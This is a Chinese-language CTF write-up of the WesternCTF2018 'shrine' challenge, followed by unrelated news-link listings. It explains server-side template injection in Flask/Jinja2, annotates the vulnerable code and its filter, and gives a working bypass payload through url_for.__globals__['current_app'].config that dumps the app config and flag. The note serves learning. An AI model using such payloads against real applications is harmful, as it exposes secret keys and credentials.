[WesternCTF2018]shrine-学习笔记
前置知识什么是 SSTI什么是 Jinja2 模板正文一、HTML代码审计二、Jinja2 过滤规则分析三、Jinja2 中通过 current_app 获取 Flag前置知识什么是 SSTISSTIServer-Side Template Injection服务端模板注入是指用户输入被直接拼接到模板中执行。网站后台Flask 默认使用 Jinja2 模板引擎模板语法用{{ }}包裹表达式。如果用户可控的输入被直接传给render_template_string()渲染就存在 SSTI 漏洞。什么是 Jinja2 模板Jinja2 是 Python 的模板引擎在网站后台Flask 中用于生成 HTML。常见的语法{{ expression }}— 输出表达式的值{% statement %}— 执行控制语句如 if、for、set|filter— 对值应用过滤器正文一、HTML代码审计访问主页CTRLU会输出应用源码# # 1. 导入模块# importflask# Flask 核心框架用于构建 Web 应用importos# 操作系统接口模块用于读取环境变量# # 2. 创建 Flask 应用实例# appflask.Flask(__name__)# __name__ 是当前模块名Flask 用它来定位资源# 创建了一个名为 app 的 Flask 应用对象# # 3. 存储 Flag核心目标# app.config[FLAG]os.environ.pop(FLAG)# os.environ 是一个字典包含进程的所有环境变量# os.environ.pop(FLAG) 从环境变量中取出 FLAG 值并从字典中删除# 这样做是为了防止通过 /proc/self/environ 等方式泄露# 最终 Flag 被安全地存储在 Flask app 的 config 字典中# # 4. 路由首页显示源码# app.route(/)# 注册路由当访问根路径 / 时触发defindex():returnopen(__file__).read()# __file__ 是当前 Python 文件的路径# open(__file__).read() 读取当前文件的全部内容并返回# 这是一个提示型设计让攻击者直接看到源码# # 5. 路由SSTI 漏洞入口核心攻击面# app.route(/shrine/path:shrine)# path:shrine 是 Flask 的路径转换器# path 类型会捕获 URL 中 /shrine/ 后面的所有内容包括斜杠# 例如/shrine/{{7*7}} → shrine 参数值为 {{7*7}}# /shrine/a/b/c → shrine 参数值为 a/b/cdefshrine(shrine):# shrine 函数接收用户输入作为参数defsafe_jinja(s):# 定义一个安全检查函数实际上不安全ss.replace((,).replace(),)# 将用户输入中的括号全部移除# 目的阻止函数调用如 {{config}} → 不能调用 config()# 绕过思路用 [] 下标访问代替函数调用blacklist[config,self]# 黑名单禁止使用 config 和 self 这两个变量名return.join([{% set {}None%}.format(c)forcinblacklist])s# 这段代码很精巧它会在用户输入前面拼接 Jinja2 的 set 语句# 拼接后实际变成{% set configNone%}{% set selfNone%} 用户输入# 目的把 config 和 self 这两个模板变量强行设为空值# 绕过思路用 app.config属性访问代替 config变量访问returnflask.render_template_string(safe_jinja(shrine))# 这是漏洞的核心# safe_jinja() 处理后的用户输入被直接传给 render_template_string()# render_template_string() 会将字符串作为 Jinja2 模板来渲染# 如果用户输入了 {{ }} 包裹的内容就会被 Jinja2 引擎执行# 这就是 SSTI服务端模板注入漏洞# # 6. 程序入口# if__name____main__:# 当脚本直接运行时而非被 import启动 Flask 开发服务器app.run(debugTrue)# debugTrue 开启调试模式出错时显示详细信息监听默认端口 5000二、Jinja2 过滤规则分析过滤项作用绕过方式(和)被替换为空禁止调用函数如__subclasses__()用[]下标访问字典、用.访问属性{% set configNone%}将模板变量config设为 None用app.config访问 Python 属性不受变量遮蔽影响{% set selfNone%}将模板变量self设为 None不用self即可关键理解{% set configNone%}只是把 Jinja2 模板变量config设为空但app.config是通过 Python 属性访问app对象下的config属性两者完全不同所以不受影响。所以可以得出SSTI 漏洞的触发链用户请求: GET /shrine/{{7*7}}↓ Flask 路由匹配: shrine 参数{{7*7}}↓ safe_jinja({{7*7}})→{% set configNone%}{% set selfNone%}{{7*7}}↓ render_template_string()将字符串作为 Jinja2 模板执行 ↓ Jinja2 引擎解析{{7*7}}→ 计算7*7 → 输出49↓ HTTP 响应返回49所以就可以得出攻击思路目标读取 app.config[FLAG]│ ├─ 路径1:{{config}}→ ❌ 被{%setconfigNone%}过滤 │ ├─ 路径2:{{app.config}}→ ❌ app 不在 Jinja2 全局变量中 │ ❌ 括号被过滤 └─ 路径3:{{url_for.__globals__[current_app].config}}✅ 成功用[]代替()用 url_for 间接访问 Flask 全局Python函数有一个__globals__属性返回该函数所在模块的全局变量字典GET /shrine/{{url_for.__globals__}} HTTP/1.1响应返回了大量 Flask 内部变量其中包含current_app: Flask app— 当前 Flask 应用对象session: NullSession {}— Session 对象等等三、Jinja2 中通过current_app获取 FlagFlask 应用中配置信息存储在app.config字典中。我们可以用[]下标操作访问__globals__字典中的current_app注意()被过滤了但[]不受影响GET/shrine/{{url_for.__globals__[current_app].config}}HTTP/1.1URL 编码后/shrine/{{url_for.__globals__%5b%22current_app%22%5d.config}}响应的关键部分CTF2{30503f82-2e5d-4bfe-969c-7d4a29a9e6e2}

相关新闻

时间序列反事实必要性分析:从特征相关到因果推断的实践指南

时间序列反事实必要性分析:从特征相关到因果推断的实践指南

时间序列分析里最让人头疼的,不是模型调参,而是当你拿着预测结果去汇报时,被问“为什么是这个结果”。传统方法告诉你哪些特征重要,但很少能说清楚:如果某个特征没出现,结果会不会不一样?最近遇…

2026/10/9 11:34:50 阅读更多 →
a Tribute Page

a Tribute Page

第一个web页面练手:test1 1.bootstrap框架的.container 和container-fluid 类的区别,参照2 2.jumbotron 3.text-center、引用(Blockquote) 4.深入理解BootStrap Item13 -- 缩略图(thumbnail)与警示窗&a…

2026/10/5 18:25:19 阅读更多 →
MySQL的调控按钮 —— 启动选项和系统变量

MySQL的调控按钮 —— 启动选项和系统变量

启动选项和配置文件 标签: MySQL 是怎样运行的如果你用过手机,你的手机上一定有一个设置的功能,你可以选择设置手机的来电铃声、设置音量大小、设置解锁密码等等。假如没有这些设置功能,我们的生活将置于尴尬的境地,比…

2026/10/7 14:08:41 阅读更多 →

最新新闻

MIPI D-PHY物理层调试:从CTS FAIL定位信号完整性根因

MIPI D-PHY物理层调试:从CTS FAIL定位信号完整性根因

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 5:58:39 阅读更多 →
Remeda 迁移指南:用纯函数 `differenceWith` 替代 Lodash 的原地可变 `pullAllWith`

Remeda 迁移指南:用纯函数 `differenceWith` 替代 Lodash 的原地可变 `pullAllWith`

开发工具 【免费下载链接】remeda A utility library for JavaScript and TypeScript. 项目地址: https://gitcode.com/gh_mirrors/re/remeda 点击查看 免费下载 导读 本指南针对 Remeda 官方 Lodash 迁移文档中 pullAllWith 条目,讲解如何将这一 Loda…

2026/10/13 5:58:39 阅读更多 →
Jupyter Notebook Exercise 扩展:用可折叠“习题/答案“组织教学 Notebook(实现原理与演进史解析)

Jupyter Notebook Exercise 扩展:用可折叠“习题/答案“组织教学 Notebook(实现原理与演进史解析)

开发工具前端 【免费下载链接】jupyter_contrib_nbextensions A collection of various notebook extensions for Jupyter 项目地址: https://gitcode.com/gh_mirrors/ju/jupyter_contrib_nbextensions 点击查看 免费下载 Exercise(及其姊妹版 Exercise…

2026/10/13 5:58:39 阅读更多 →
OCRmyPDF离线部署指南:断网内网一次搞定扫描OCR

OCRmyPDF离线部署指南:断网内网一次搞定扫描OCR

OCRmyPDF离线部署指南:断网内网一次搞定扫描OCR 【免费下载链接】OCRmyPDF OCRmyPDF adds an OCR text layer to scanned PDF files, allowing them to be searched 项目地址: https://gitcode.com/GitHub_Trending/oc/OCRmyPDF 矿区笔记本上的那份图纸 地质…

2026/10/13 5:58:39 阅读更多 →
SpringMVC通用数据权限校验框架:从设计到实战

SpringMVC通用数据权限校验框架:从设计到实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 5:58:39 阅读更多 →
AnyPS5实战:用开源面板统一管理PS5游戏库与远程串流

AnyPS5实战:用开源面板统一管理PS5游戏库与远程串流

AnyPS5 这个名字听起来像是一台主机,其实它是我折腾的一个本地工具项目。起因很简单:我手里的游戏、账号、主机状态越来越散,数字版躺在不同账号里,光盘版挤在书架上,想远程玩一把还得分清哪台机器、哪个账号、哪次打折…

2026/10/13 5:57:39 阅读更多 →

日新闻

物联网系统集成避坑指南:从选型到验收的关键要点

物联网系统集成避坑指南:从选型到验收的关键要点

做了这么多年物联网系统集成的项目,我最大的感受是,大部分坑不是出在技术前沿,而是出在一些看起来很平常的地方。设备选了便宜的、协议没问清楚、现场没摸透、验收标准写得含糊——这些细枝末节,最后都会变成延期、超支和扯皮的大…

2026/10/13 0:00:57 阅读更多 →
ESP32舵机控制全攻略:从PWM原理到高级玩法与常见故障排查

ESP32舵机控制全攻略:从PWM原理到高级玩法与常见故障排查

如果你玩ESP32有一阵子了,很难不碰到舵机控制这道坎。做智能小车要转方向,做机械臂要抬关节,做云台要偏航俯仰,背后都是同一个东西在干活:舵机。而我见过太多人卡在“代码能编译、舵机就是不听话”这个阶段&#xff0c…

2026/10/13 0:00:57 阅读更多 →
CAN总线原理与STM32实战:抗干扰、仲裁、错误处理全解析

CAN总线原理与STM32实战:抗干扰、仲裁、错误处理全解析

1. 为什么CAN总线至今仍是工业现场的“硬通货”?——从汽车底盘到智能温室的真实需求你有没有拆过一辆老款燃油车的中控台?或者调试过某高校实验室里那台跑着Modbus协议却频频丢帧的PLC控制柜?又或者,在某个农业物联网项目里&…

2026/10/13 0:00:57 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/13 2:54:56 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/12 0:16:38 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/13 1:58:08 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 21:05:09 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 14:48:49 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 18:11:17 阅读更多 →